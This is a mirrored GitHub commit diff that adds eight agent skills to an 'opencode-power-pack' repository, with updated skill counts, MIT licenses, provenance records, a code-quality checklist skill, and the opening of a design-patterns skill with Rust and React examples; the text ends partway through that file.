mirror of
https://github.com/waybarrios/opencode-power-pack.git
synced 2026-11-18 18:03:43 +00:00
Add 3 firstpick + 5 piolium skills (MIT)
Code quality, design patterns, paper summarization, plus 5 security review skills (supply-chain risk, sharp edges, insecure defaults, false-positive check, vuln reporting). Full UPSTREAMS.json provenance, skill count 11 -> 19.
This commit is contained in:
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"name": "opencode-power-pack",
|
||||
"version": "0.3.0",
|
||||
"description": "Twelve Claude Code workflows packaged for Codex, OpenCode, and Pi.",
|
||||
"description": "Twenty Claude Code workflows packaged for Codex, OpenCode, and Pi.",
|
||||
"author": {
|
||||
"name": "Wayner Barrios",
|
||||
"url": "https://github.com/waybarrios"
|
||||
@@ -24,7 +24,7 @@
|
||||
"skills": "./skills/",
|
||||
"interface": {
|
||||
"displayName": "OpenCode + Codex Power Pack",
|
||||
"shortDescription": "Twelve workflows for Codex, OpenCode, and Pi",
|
||||
"shortDescription": "Twenty workflows for Codex, OpenCode, and Pi",
|
||||
"longDescription": "Review code, audit security, design and implement features, build MCP servers, and maintain project guidance with reusable workflows for Codex, OpenCode, and Pi.",
|
||||
"developerName": "Wayner Barrios",
|
||||
"category": "Productivity",
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 Firstpick
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 Vigolium
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -5,7 +5,7 @@
|
||||
<h1 align="center">OpenCode Power Pack for Codex, OpenCode + Pi</h1>
|
||||
|
||||
<p align="center">
|
||||
<i>Twelve Claude Code workflows, adapted for Codex, OpenCode, and Pi.<br/>
|
||||
<i>Twenty Claude Code workflows, adapted for Codex, OpenCode, and Pi.<br/>
|
||||
Code review, security audit, feature development, frontend design, project memory, and authoring tools.</i>
|
||||
</p>
|
||||
|
||||
@@ -14,7 +14,7 @@
|
||||
<a href="https://github.com/waybarrios/opencode-power-pack/stargazers"><img alt="GitHub stars" src="https://img.shields.io/github/stars/waybarrios/opencode-power-pack?style=flat-square&color=FFD60A"></a>
|
||||
<a href="https://github.com/waybarrios/opencode-power-pack/commits/main"><img alt="Last commit" src="https://img.shields.io/github/last-commit/waybarrios/opencode-power-pack?style=flat-square"></a>
|
||||
<a href="https://github.com/waybarrios/opencode-power-pack/issues"><img alt="GitHub issues" src="https://img.shields.io/github/issues/waybarrios/opencode-power-pack?style=flat-square"></a>
|
||||
<img alt="Skills: 12" src="https://img.shields.io/badge/skills-12-FFD60A?style=flat-square&labelColor=0B0F14">
|
||||
<img alt="Skills: 20" src="https://img.shields.io/badge/skills-20-FFD60A?style=flat-square&labelColor=0B0F14">
|
||||
<img alt="OpenCode 1.18.7+" src="https://img.shields.io/badge/opencode-1.18.7%2B-0B0F14?style=flat-square&labelColor=FFD60A">
|
||||
<img alt="Codex plugin" src="https://img.shields.io/badge/Codex-plugin-0B0F14?style=flat-square&labelColor=FFD60A">
|
||||
<img alt="Pi package" src="https://img.shields.io/badge/Pi-package-0B0F14?style=flat-square&labelColor=FFD60A">
|
||||
@@ -45,7 +45,7 @@ Start a new Codex session, open `/plugins` to confirm the installation, or invok
|
||||
pi install git:github.com/waybarrios/opencode-power-pack
|
||||
```
|
||||
|
||||
Pi discovers the twelve skills declared by the package. Use `pi list` to verify the installation. For a project-local installation recorded in `.pi/settings.json`, add `-l`:
|
||||
Pi discovers the twenty skills declared by the package. Use `pi list` to verify the installation. For a project-local installation recorded in `.pi/settings.json`, add `-l`:
|
||||
|
||||
```bash
|
||||
pi install git:github.com/waybarrios/opencode-power-pack -l
|
||||
@@ -55,7 +55,7 @@ pi install git:github.com/waybarrios/opencode-power-pack -l
|
||||
|
||||
Codex, OpenCode, and Pi read `SKILL.md` workflows, but many valuable Claude Code workflows originated as Claude-specific commands and agents. Copying those artifacts directly does not preserve their orchestration, permissions, or subagent behavior.
|
||||
|
||||
This package adapts the portable methodology into shared skills, registers feature-development specialist roles as read-only OpenCode subagents, lets Codex execute the same phase assignments with its native subagent workflow, and exposes all twelve skills as a Pi package. It ships immutable provenance for every upstream work.
|
||||
This package adapts the portable methodology into shared skills, registers feature-development specialist roles as read-only OpenCode subagents, lets Codex execute the same phase assignments with its native subagent workflow, and exposes all twenty skills as a Pi package. It ships immutable provenance for every upstream work.
|
||||
|
||||
It complements [obra/superpowers](https://github.com/obra/superpowers), which provides process skills such as brainstorming, TDD, debugging, and plan execution.
|
||||
|
||||
@@ -65,12 +65,20 @@ It complements [obra/superpowers](https://github.com/obra/superpowers), which pr
|
||||
|---|---|---|
|
||||
| Review | `code-review` | Multi-agent PR review with confidence filtering and reproduction scenarios |
|
||||
| Review | `security-review` | Security-focused review with category coverage and exploit-path validation |
|
||||
| Review | `supply-chain-risk-auditor` | Flag dependencies at heightened risk of exploitation or takeover |
|
||||
| Review | `sharp-edges` | Identify error-prone APIs and footgun configurations before they cause security mistakes |
|
||||
| Review | `insecure-defaults` | Detect fail-open insecure defaults (hardcoded secrets, weak auth, permissive config) |
|
||||
| Review | `fp-check` | Systematically verify a suspected security bug to a TRUE/FALSE POSITIVE verdict |
|
||||
| Review | `vuln-report` | Draft a single-vulnerability disclosure report in GitHub advisory style |
|
||||
| Feature development | `feature-dev` | Seven-phase workflow from discovery through implementation and review |
|
||||
| Feature development | `code-explorer` | Trace a feature across entry points, layers, state, and dependencies |
|
||||
| Feature development | `code-architect` | Produce a file-level architecture and implementation blueprint |
|
||||
| Feature development | `code-reviewer` | Adversarial review of a focused local change set |
|
||||
| Design | `frontend-design` | Create distinctive interfaces with an accessibility and craft rubric |
|
||||
| Design | `ai-slop` | Rubric to judge whether a design is generic "AI slop" or genuinely product-fit |
|
||||
| Code quality | `code-quality` | Linting, complexity, and review checklists across Rust, TypeScript, Python, and shell |
|
||||
| Code quality | `design-patterns` | Pattern trade-offs (when to use, when to skip) for Rust, TS/React, and Django/Python |
|
||||
| Research | `paper-summarizer` | Extract actionable findings and a claim-evidence map from academic/technical papers |
|
||||
| Authoring | `mcp-builder` | Design and build MCP servers in TypeScript or Python |
|
||||
| Authoring | `skill-creator` | Create, test, and improve reusable `SKILL.md` workflows |
|
||||
| Project memory | `agents-md-improver` | Audit project rules and propose targeted improvements |
|
||||
@@ -98,7 +106,7 @@ codex plugin add opencode-power-pack@opencode-power-pack
|
||||
codex plugin list --marketplace opencode-power-pack
|
||||
```
|
||||
|
||||
Start a new Codex session after installation so the twelve bundled skills are loaded. Use `/plugins` to inspect the installed plugin or `$` to select one of its skills explicitly. Codex plugin packaging follows the [official plugin structure](https://developers.openai.com/plugins/build/plugins).
|
||||
Start a new Codex session after installation so the twenty bundled skills are loaded. Use `/plugins` to inspect the installed plugin or `$` to select one of its skills explicitly. Codex plugin packaging follows the [official plugin structure](https://developers.openai.com/plugins/build/plugins).
|
||||
|
||||
### OpenCode From GitHub
|
||||
|
||||
@@ -138,7 +146,7 @@ opencode debug skill
|
||||
opencode debug agent code-explorer
|
||||
```
|
||||
|
||||
The first command should include all twelve unprefixed skill names. The second should report a `subagent` with editing denied. In the TUI, `ctrl+p` should list `/code-review`, `/feature-dev`, `/frontend-design`, and the other skill-derived commands.
|
||||
The first command should include all twenty unprefixed skill names. The second should report a `subagent` with editing denied. In the TUI, `ctrl+p` should list `/code-review`, `/feature-dev`, `/frontend-design`, and the other skill-derived commands.
|
||||
|
||||
### Verify Codex
|
||||
|
||||
|
||||
@@ -18,6 +18,27 @@ skill-body length limit; core rubric, tests, and severity model preserved).
|
||||
Copyright 2026 Leandro (LePro10). The upstream notice is available at
|
||||
`LICENSES/Omp-designer-MIT.txt`.
|
||||
|
||||
## Firstpick pi Coding Agent Forge
|
||||
|
||||
The modified `code-quality`, `design-patterns`, and `paper-summarizer` skills
|
||||
derive from the MIT-licensed `Firstp1ck/pi-coding-agent-forge` repository.
|
||||
Persona-specific footers and cross-references to skills not shipped in this
|
||||
pack were removed or generalized.
|
||||
|
||||
Copyright 2026 Firstpick. The upstream notice is available at
|
||||
`LICENSES/Firstpick-MIT.txt`.
|
||||
|
||||
## Vigolium Piolium
|
||||
|
||||
The modified `supply-chain-risk-auditor`, `sharp-edges`, `insecure-defaults`,
|
||||
`fp-check`, and `vuln-report` skills derive from the MIT-licensed
|
||||
`vigolium/piolium` repository, including their `references/` support files.
|
||||
Frontmatter `allowed-tools` lists and mentions of piolium's own multi-agent
|
||||
orchestration were removed or generalized to host-agnostic phrasing.
|
||||
|
||||
Copyright 2026 Vigolium. The upstream notice is available at
|
||||
`LICENSES/Piolium-MIT.txt`.
|
||||
|
||||
## Anthropic Official Plugins
|
||||
|
||||
The following modified skills derive from Apache-2.0 material in
|
||||
|
||||
+104
@@ -94,6 +94,19 @@
|
||||
"blob": "c46e327f19b6bb59dbf9060e8c9961e701908350"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "code-quality",
|
||||
"license": "MIT",
|
||||
"adaptation": "adapted",
|
||||
"reviewedAt": "2026-08-02",
|
||||
"source": {
|
||||
"repository": "https://github.com/Firstp1ck/pi-coding-agent-forge",
|
||||
"commit": "bd36f19036e9948c8d63e1a85a32e7ace9db06e9",
|
||||
"committedAt": "2026-06-18T12:19:40+02:00",
|
||||
"path": "pi-skill-code-quality/skills/code-quality/SKILL.md",
|
||||
"blob": "a65c247e1a2e452f0ef3a2b9bd63aa7d9ca6c3e3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "code-reviewer",
|
||||
"license": "Apache-2.0",
|
||||
@@ -107,6 +120,19 @@
|
||||
"blob": "7fb589cbd7140152fae41720e391290ba202e57e"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "design-patterns",
|
||||
"license": "MIT",
|
||||
"adaptation": "adapted",
|
||||
"reviewedAt": "2026-08-02",
|
||||
"source": {
|
||||
"repository": "https://github.com/Firstp1ck/pi-coding-agent-forge",
|
||||
"commit": "bd36f19036e9948c8d63e1a85a32e7ace9db06e9",
|
||||
"committedAt": "2026-06-18T12:19:40+02:00",
|
||||
"path": "pi-skill-design-patterns/skills/design-patterns/SKILL.md",
|
||||
"blob": "287ce08720be901678934552a711627d40dbf78b"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "feature-dev",
|
||||
"license": "Apache-2.0",
|
||||
@@ -120,6 +146,19 @@
|
||||
"blob": "8bdeda3430e43afddbee79830db0f6ea9dfbf36a"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "fp-check",
|
||||
"license": "MIT",
|
||||
"adaptation": "adapted",
|
||||
"reviewedAt": "2026-08-02",
|
||||
"source": {
|
||||
"repository": "https://github.com/vigolium/piolium",
|
||||
"commit": "890888a20d52a9378d20bbbc7b8850483d97362a",
|
||||
"committedAt": "2026-05-23T20:30:16+08:00",
|
||||
"path": "skills/fp-check/SKILL.md",
|
||||
"blob": "992d901780562a5f73ec3270953f4c79ef0bb498"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "frontend-design",
|
||||
"license": "Apache-2.0",
|
||||
@@ -133,6 +172,19 @@
|
||||
"blob": "600b6db41fac7e2081c7528ec6982960892c819d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "insecure-defaults",
|
||||
"license": "MIT",
|
||||
"adaptation": "adapted",
|
||||
"reviewedAt": "2026-08-02",
|
||||
"source": {
|
||||
"repository": "https://github.com/vigolium/piolium",
|
||||
"commit": "890888a20d52a9378d20bbbc7b8850483d97362a",
|
||||
"committedAt": "2026-05-23T20:30:16+08:00",
|
||||
"path": "skills/insecure-defaults/SKILL.md",
|
||||
"blob": "d1b29cd32f38fb5e62823628c8a8d4afeb0215a6"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "mcp-builder",
|
||||
"license": "Apache-2.0",
|
||||
@@ -146,6 +198,19 @@
|
||||
"blob": "8a1a77a47d141967b246adb4da4f91037578ff7d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "paper-summarizer",
|
||||
"license": "MIT",
|
||||
"adaptation": "adapted",
|
||||
"reviewedAt": "2026-08-02",
|
||||
"source": {
|
||||
"repository": "https://github.com/Firstp1ck/pi-coding-agent-forge",
|
||||
"commit": "bd36f19036e9948c8d63e1a85a32e7ace9db06e9",
|
||||
"committedAt": "2026-06-18T12:19:40+02:00",
|
||||
"path": "pi-skill-paper-summarizer/skills/paper-summarizer/SKILL.md",
|
||||
"blob": "c2ab246c8061db51d34861020edb452b7ac2f791"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "security-review",
|
||||
"license": "MIT",
|
||||
@@ -159,6 +224,19 @@
|
||||
"blob": "93651ea8b92194a1f739eaf5115ea493746df300"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "sharp-edges",
|
||||
"license": "MIT",
|
||||
"adaptation": "adapted",
|
||||
"reviewedAt": "2026-08-02",
|
||||
"source": {
|
||||
"repository": "https://github.com/vigolium/piolium",
|
||||
"commit": "890888a20d52a9378d20bbbc7b8850483d97362a",
|
||||
"committedAt": "2026-05-23T20:30:16+08:00",
|
||||
"path": "skills/sharp-edges/SKILL.md",
|
||||
"blob": "b5f86df960e094c851998752b7b7310555395d6d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "skill-creator",
|
||||
"license": "Apache-2.0",
|
||||
@@ -171,6 +249,32 @@
|
||||
"path": "skills/skill-creator/SKILL.md",
|
||||
"blob": "65b3a402dbd09b8e83f9d637c6b553875189085c"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "supply-chain-risk-auditor",
|
||||
"license": "MIT",
|
||||
"adaptation": "adapted",
|
||||
"reviewedAt": "2026-08-02",
|
||||
"source": {
|
||||
"repository": "https://github.com/vigolium/piolium",
|
||||
"commit": "890888a20d52a9378d20bbbc7b8850483d97362a",
|
||||
"committedAt": "2026-05-23T20:30:16+08:00",
|
||||
"path": "skills/supply-chain-risk-auditor/SKILL.md",
|
||||
"blob": "1389de7b1c43aa6a9273478ea37dfc585e5ea6ca"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "vuln-report",
|
||||
"license": "MIT",
|
||||
"adaptation": "adapted",
|
||||
"reviewedAt": "2026-08-02",
|
||||
"source": {
|
||||
"repository": "https://github.com/vigolium/piolium",
|
||||
"commit": "890888a20d52a9378d20bbbc7b8850483d97362a",
|
||||
"committedAt": "2026-05-23T20:30:16+08:00",
|
||||
"path": "skills/vuln-report/SKILL.md",
|
||||
"blob": "bce9e57c7d3fccf8183a96d641a35f47ace4cdeb"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"name": "opencode-power-pack",
|
||||
"version": "0.3.0",
|
||||
"description": "Twelve Claude Code workflows packaged for Codex, OpenCode, and Pi: code review, feature development, security review, frontend design, authoring, and project memory.",
|
||||
"description": "Twenty Claude Code workflows packaged for Codex, OpenCode, and Pi: code review, feature development, security review, frontend design, authoring, and project memory.",
|
||||
"type": "module",
|
||||
"main": ".opencode/plugins/opencode-power-pack.js",
|
||||
"engines": {
|
||||
|
||||
@@ -0,0 +1,239 @@
|
||||
---
|
||||
name: code-quality
|
||||
description: Agents should invoke this skill for code reviews, linting/formatting setup, maintainability checks, complexity concerns, warning cleanup, coding standards, or quality gates in Rust, TypeScript, Python, shell, and mixed repos.
|
||||
license: MIT (modified; see UPSTREAMS.json)
|
||||
---
|
||||
|
||||
# Code Quality
|
||||
|
||||
Structured code review and quality enforcement across common tech stacks. Checklists, linting strategies, and metrics to keep codebases healthy.
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Run a Code Quality Check
|
||||
|
||||
1. **Run static analysis:** Linters, type checkers, formatters
|
||||
2. **Review against checklist:** Language-specific items below
|
||||
3. **Check complexity metrics:** Cyclomatic < 25, data flow < 25
|
||||
4. **Report findings:** Structured output with severity and recommendations
|
||||
|
||||
---
|
||||
|
||||
## Linting Configurations
|
||||
|
||||
### Rust — Clippy Config
|
||||
|
||||
Standard clippy configuration (in `Cargo.toml` or `.clippy.toml`):
|
||||
|
||||
```toml
|
||||
[lints.clippy]
|
||||
cognitive_complexity = "warn"
|
||||
pedantic = { level = "deny", priority = -1 }
|
||||
nursery = { level = "deny", priority = -1 }
|
||||
unwrap_used = "deny"
|
||||
```
|
||||
|
||||
**Standard commands:**
|
||||
|
||||
```bash
|
||||
cargo fmt
|
||||
cargo clippy --all-targets --all-features -- -D warnings
|
||||
cargo check
|
||||
cargo test -- --test-threads=1
|
||||
```
|
||||
|
||||
**Key rules to enforce:**
|
||||
- No `.unwrap()` in non-test code (use `?` or `.expect("reason")`)
|
||||
- All public items have rustdoc (`#[warn(missing_docs)]`)
|
||||
- `#[must_use]` on functions that return values that should be checked
|
||||
- When using `#[allow(...)]`, always add a comment explaining why
|
||||
- If no good explanation exists for `#[allow(...)]`, fix the issue instead
|
||||
|
||||
### TypeScript — ESLint + Strict Mode
|
||||
|
||||
**Recommended `tsconfig.json` strictness:**
|
||||
|
||||
```json
|
||||
{
|
||||
"compilerOptions": {
|
||||
"strict": true,
|
||||
"noUncheckedIndexedAccess": true,
|
||||
"noImplicitReturns": true,
|
||||
"noFallthroughCasesInSwitch": true,
|
||||
"exactOptionalPropertyTypes": true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Key rules to enforce:**
|
||||
- No `any` — use `unknown` and type guards instead
|
||||
- No `// @ts-ignore` — fix the type issue or use `// @ts-expect-error` with explanation
|
||||
- Prefer `const` over `let`, never use `var`
|
||||
- Use discriminated unions for state modeling
|
||||
- Explicit return types on exported functions
|
||||
|
||||
### Python — Ruff + Mypy
|
||||
|
||||
**Recommended `pyproject.toml`:**
|
||||
|
||||
```toml
|
||||
[tool.ruff]
|
||||
target-version = "py312"
|
||||
line-length = 88
|
||||
|
||||
[tool.ruff.lint]
|
||||
select = ["E", "F", "W", "I", "N", "UP", "ANN", "B", "A", "C4", "DTZ", "ISC", "PIE", "PT", "RET", "SIM", "TCH", "ARG", "PTH", "ERA"]
|
||||
|
||||
[tool.mypy]
|
||||
strict = true
|
||||
warn_return_any = true
|
||||
warn_unreachable = true
|
||||
```
|
||||
|
||||
**Key rules to enforce:**
|
||||
- Type hints on all public functions and methods
|
||||
- Docstrings on all public classes, functions, and methods
|
||||
- Use `pathlib.Path` over `os.path`
|
||||
- Use `uv` as package manager
|
||||
- No bare `except:` — always catch specific exceptions
|
||||
|
||||
---
|
||||
|
||||
## Code Review Checklists
|
||||
|
||||
### Universal Checklist (All Languages)
|
||||
|
||||
**Correctness:**
|
||||
- [ ] Does the code do what it claims to do?
|
||||
- [ ] Are edge cases handled (empty collections, null/None, zero, negative)?
|
||||
- [ ] Are error paths handled gracefully?
|
||||
- [ ] Are there any off-by-one errors?
|
||||
|
||||
**Clarity:**
|
||||
- [ ] Can you understand the code without the PR description?
|
||||
- [ ] Are variable/function names descriptive and consistent?
|
||||
- [ ] Are complex sections commented with "why" (not "what")?
|
||||
- [ ] Is the code self-documenting where possible?
|
||||
|
||||
**Architecture:**
|
||||
- [ ] Does this change respect existing module boundaries?
|
||||
- [ ] Is the change at the right abstraction level?
|
||||
- [ ] Are dependencies reasonable (not pulling in a huge lib for one function)?
|
||||
|
||||
**Testing:**
|
||||
- [ ] Are new functions/methods covered by tests?
|
||||
- [ ] Do tests cover edge cases and error paths?
|
||||
- [ ] Are tests readable and maintainable?
|
||||
|
||||
**Security (flag for a security follow-up if concerns found):**
|
||||
- [ ] No hardcoded secrets or credentials
|
||||
- [ ] User input is validated before use
|
||||
- [ ] No SQL injection, XSS, or path traversal vectors
|
||||
|
||||
### Rust-Specific Checklist
|
||||
|
||||
- [ ] `cargo fmt` applied
|
||||
- [ ] `cargo clippy` clean (pedantic + nursery)
|
||||
- [ ] No `.unwrap()` outside tests
|
||||
- [ ] Error handling uses `?` with proper error types
|
||||
- [ ] Public items have rustdoc comments
|
||||
- [ ] `#[allow(...)]` includes explanatory comment
|
||||
- [ ] New functions have unit tests
|
||||
- [ ] Cyclomatic complexity < 25 per function
|
||||
- [ ] Data flow complexity < 25 per function
|
||||
|
||||
### TypeScript/React-Specific Checklist
|
||||
|
||||
- [ ] No `any` types
|
||||
- [ ] Strict mode compliance
|
||||
- [ ] Components have clear prop types
|
||||
- [ ] Hooks follow rules of hooks
|
||||
- [ ] No unnecessary re-renders (check memo/callback usage)
|
||||
- [ ] Bundle impact considered for new dependencies
|
||||
|
||||
### Django/Python-Specific Checklist
|
||||
|
||||
- [ ] Type hints present on public interfaces
|
||||
- [ ] Ruff + mypy clean
|
||||
- [ ] No N+1 queries (use `select_related`/`prefetch_related`)
|
||||
- [ ] Migrations are reviewed and reversible
|
||||
- [ ] No business logic in views (use service layer)
|
||||
|
||||
---
|
||||
|
||||
## Complexity Metrics
|
||||
|
||||
### Cyclomatic Complexity
|
||||
|
||||
Measures the number of independent paths through code. Recommended threshold: **< 25**.
|
||||
|
||||
| Complexity | Risk Level | Action |
|
||||
|---|---|---|
|
||||
| 1-10 | Low | Simple, well-structured code |
|
||||
| 11-20 | Moderate | Consider simplification if growing |
|
||||
| 21-24 | High | Refactoring recommended |
|
||||
| 25+ | Violation | Must refactor before merge |
|
||||
|
||||
**How to reduce:**
|
||||
- Extract helper functions for each branch
|
||||
- Use early returns / guard clauses
|
||||
- Replace complex conditionals with lookup tables or pattern matching
|
||||
- Use strategy pattern for variant-dependent behavior
|
||||
|
||||
### Data Flow Complexity
|
||||
|
||||
Measures how many variables interact within a function. Recommended threshold: **< 25**.
|
||||
|
||||
**How to reduce:**
|
||||
- Extract pure functions that take fewer parameters
|
||||
- Group related parameters into structs/objects
|
||||
- Split functions that transform data in multiple stages
|
||||
|
||||
### Measurement Tools
|
||||
|
||||
| Language | Tool | Command |
|
||||
|---|---|---|
|
||||
| Rust | `cargo clippy` (cognitive_complexity) | Built into clippy config |
|
||||
| TypeScript | `eslint-plugin-sonarjs` | Configure `complexity` rule |
|
||||
| Python | `radon` | `radon cc <file> -s -a` |
|
||||
| Python | `ruff` | Rule `C901` (mccabe complexity) |
|
||||
|
||||
---
|
||||
|
||||
## Review Output Format
|
||||
|
||||
When delivering a code review:
|
||||
|
||||
```markdown
|
||||
## Code Review: [PR/File/Module]
|
||||
|
||||
**Date:** YYYY-MM-DD
|
||||
|
||||
### Summary
|
||||
[1-2 sentences: overall quality assessment]
|
||||
|
||||
### Findings
|
||||
|
||||
| # | Severity | File | Line(s) | Finding | Suggestion |
|
||||
|---|---|---|---|---|---|
|
||||
| 1 | High | src/app.rs | 45-67 | Cyclomatic complexity 28 (limit: 25) | Extract match arms into helper functions |
|
||||
| 2 | Medium | src/ui.rs | 120 | Unwrap without context | Use `.expect("reason")` or `?` |
|
||||
|
||||
### Positive Observations
|
||||
[What's well-written — acknowledge good code]
|
||||
|
||||
### Metrics
|
||||
- Linter: [clean / N warnings]
|
||||
- Tests: [pass / fail]
|
||||
- Complexity: [within limits / violations noted above]
|
||||
|
||||
### Security Notes
|
||||
[Items to flag for follow-up, if any]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Integration
|
||||
|
||||
- Can run linters, formatters, and type checkers without asking, per the project's `AGENTS.md`/`CLAUDE.md` execution policies.
|
||||
- Cross-reference: this pack's `code-reviewer` skill for adversarial review of a focused change set, and `design-patterns` for fixing complexity violations through better structure.
|
||||
@@ -0,0 +1,248 @@
|
||||
---
|
||||
name: design-patterns
|
||||
description: Agents should invoke this skill when choosing patterns, designing traits/interfaces/components, deciding abstraction boundaries, evaluating dependency injection/callbacks, or comparing implementation approaches in Rust, TypeScript/React, or Django/Python.
|
||||
license: MIT (modified; see UPSTREAMS.json)
|
||||
---
|
||||
|
||||
# Design Patterns
|
||||
|
||||
Pattern recommendations tailored to common tech stacks. Every pattern recommendation includes when to use it, when to avoid it, and the trade-offs.
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Choose a Pattern
|
||||
|
||||
1. **Identify the problem:** What design challenge are you solving?
|
||||
2. **Consider the context:** What language? What scale? How often will this change?
|
||||
3. **Evaluate options:** 2-3 candidate patterns with trade-offs
|
||||
4. **Recommend:** The best fit for *this specific context* (not the "best pattern in general")
|
||||
|
||||
**The golden rule:** Patterns are tools, not goals. Use the simplest pattern that solves the problem. If no pattern fits, a plain function or struct is fine.
|
||||
|
||||
---
|
||||
|
||||
## Rust Patterns
|
||||
|
||||
### Newtype Pattern
|
||||
|
||||
Wrap a primitive to add type safety and domain meaning.
|
||||
|
||||
```rust
|
||||
struct UserId(u64);
|
||||
struct OrderId(u64);
|
||||
|
||||
// Now the compiler prevents mixing up UserId and OrderId
|
||||
fn get_order(user: UserId, order: OrderId) -> Order { ... }
|
||||
```
|
||||
|
||||
**When to use:** When two values have the same underlying type but different meanings.
|
||||
**When to skip:** One-off uses where a type alias suffices.
|
||||
|
||||
### Builder Pattern
|
||||
|
||||
Construct complex objects step by step.
|
||||
|
||||
```rust
|
||||
let config = ServerConfig::builder()
|
||||
.host("localhost")
|
||||
.port(8080)
|
||||
.max_connections(100)
|
||||
.build()?;
|
||||
```
|
||||
|
||||
**When to use:** Structs with many optional fields, complex construction logic.
|
||||
**When to skip:** Structs with 1-3 required fields — just use `new()`.
|
||||
|
||||
### Typestate Pattern
|
||||
|
||||
Encode state transitions in the type system so invalid states are unrepresentable.
|
||||
|
||||
```rust
|
||||
struct Connection<S: State> { /* ... */ state: PhantomData<S> }
|
||||
struct Disconnected;
|
||||
struct Connected;
|
||||
struct Authenticated;
|
||||
|
||||
impl Connection<Disconnected> {
|
||||
fn connect(self) -> Result<Connection<Connected>> { ... }
|
||||
}
|
||||
impl Connection<Connected> {
|
||||
fn authenticate(self, creds: &Credentials) -> Result<Connection<Authenticated>> { ... }
|
||||
}
|
||||
impl Connection<Authenticated> {
|
||||
fn query(&self, sql: &str) -> Result<Rows> { ... }
|
||||
}
|
||||
// Can't call query() on a Disconnected connection — compile error
|
||||
```
|
||||
|
||||
**When to use:** Protocols with clear state transitions (connections, workflows, parsing stages).
|
||||
**When to skip:** Simple on/off states — a boolean or enum is clearer.
|
||||
|
||||
### Trait Objects vs Generics
|
||||
|
||||
| Approach | Dispatch | Binary Size | Flexibility |
|
||||
|---|---|---|---|
|
||||
| `impl Trait` (generics) | Static (monomorphized) | Larger (one copy per type) | Known at compile time |
|
||||
| `dyn Trait` (trait objects) | Dynamic (vtable) | Smaller (one copy) | Extensible at runtime |
|
||||
|
||||
**Use generics when:** Performance matters, types are known at compile time, you want zero-cost abstraction.
|
||||
**Use trait objects when:** You need heterogeneous collections, plugin systems, or the set of types is open-ended.
|
||||
|
||||
### Error Handling Patterns
|
||||
|
||||
| Pattern | When | Crate |
|
||||
|---|---|---|
|
||||
| `thiserror` | Library errors — structured, specific variants | `thiserror` |
|
||||
| `anyhow` | Application errors — context-rich, propagate quickly | `anyhow` |
|
||||
| Custom enum | When you need exhaustive matching by callers | std only |
|
||||
|
||||
**Rule of thumb:** Libraries use `thiserror` (callers need to match). Applications use `anyhow` (callers need context).
|
||||
|
||||
---
|
||||
|
||||
## TypeScript / React Patterns
|
||||
|
||||
### Compound Components
|
||||
|
||||
Components that work together implicitly via shared context.
|
||||
|
||||
```tsx
|
||||
<Select>
|
||||
<Select.Trigger>Choose a fruit</Select.Trigger>
|
||||
<Select.Options>
|
||||
<Select.Option value="apple">Apple</Select.Option>
|
||||
<Select.Option value="banana">Banana</Select.Option>
|
||||
</Select.Options>
|
||||
</Select>
|
||||
```
